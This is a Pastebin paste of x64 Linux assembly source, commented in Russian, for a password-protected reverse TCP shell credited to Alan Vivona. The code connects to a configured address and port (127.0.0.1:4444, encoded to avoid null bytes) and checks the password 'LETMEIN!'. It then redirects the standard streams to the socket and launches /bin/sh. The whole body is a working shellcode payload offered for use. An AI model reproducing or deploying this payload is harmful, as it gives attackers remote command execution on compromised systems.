Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ; =================================================
- ; Защищённый реверсивный TCP шелл для Linux x64
- ; Author: Alan Vivona
- ; =================================================
- global _start
- ; Номера системных вызовов
- syscalls.socket equ 0x29
- syscalls.bind equ 0x31
- syscalls.listen equ 0x32
- syscalls.connect equ 0x2a
- syscalls.accept equ 0x2b
- syscalls.close equ 0x03
- syscalls.dup2 equ 0x21
- syscalls.write equ 0x01
- syscalls.read equ 0x00
- syscalls.execve equ 0x3b
- ; Определения констант
- ipv4 equ 0x02 ; AF_INET
- ipv4.addressLen equ 0x10
- tcp equ 0x01 ; SOCK_STREAM
- ; Стандартные потоки
- standardIO.in equ 0x00
- standardIO.out equ 0x01
- standardIO.err equ 0x02
- ;:> echo -n '//bin/sh' | rev | xxd
- ;: 00000000: 6873 2f6e 6962 2f2f hs/nib//
- binshString equ 0x68732f6e69622f2f
- ; Конфигурация
- config.max_cons equ 0x2
- config.password equ 0x4d54454c214e4945 ; MTEL!NIE > LETMEIN!
- config.target equ 0x100007f5c110002 ; tcp://127.0.0.1:4444
- ; Это содержит нулевые байты, так что я заменил антиподом
- config.target.complement equ 0xfeffff80a3eefffe ; neg(tcp://127.0.0.1:4444)
- section .text
- _start:
- ; 1 - Создаём сокет
- push syscalls.socket
- pop rax
- cdq
- push ipv4
- pop rdi
- push tcp
- pop rsi
- syscall
- mov r15, rax ; сохраняем fd сокета в r15
- ; 2 - Соединяемся с целевой машиной
- xchg rax, rdi
- mov rcx, config.target.complement
- neg rcx
- push rcx
- mov rsi, rsp
- push ipv4.addressLen
- pop rdx
- push syscalls.connect
- pop rax
- syscall
- ; 3 - Читаем пароль из клиентского fd
- read_pass:
- xor rax, rax ; номер системного вызова read == 0x00
- mov rdi, r15 ; rdi = fd
- push 0x04
- pop rdx ; rdx = размер вводимых данных
- sub rsp, rdx
- mov rsi, rsp ; rsi => buffer
- syscall
- ; Проевряем пароль
- mov rax, config.password
- mov rdi, rsi
- scasq
- jne read_pass
- ; 4 - Дублируем стандартные потоки
- mov rdi, r15 ; Восстанавливаем fd сокета в rdi
- push 0x02
- pop rsi
- loop_through_stdfs:
- push syscalls.dup2
- pop rax
- syscall
- dec rsi
- jns loop_through_stdfs
- ; 5 - Запускаем
- xor rdx, rdx
- push rdx ; пушим нулевой байт первым
- mov rbx, binshString ; пушим реверсивное /bin//sh
- push rbx ; сохраняем адрес строки /bin//sh в rdi
- mov rdi, rsp
- push rdx ; пушим второй нулевой байт
- mov rdx, rsp
- push rdi ; сохраняем адрес строки /bin//sh в rsi
- mov rsi, rsp
- push syscalls.execve
- pop rax
- syscall
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement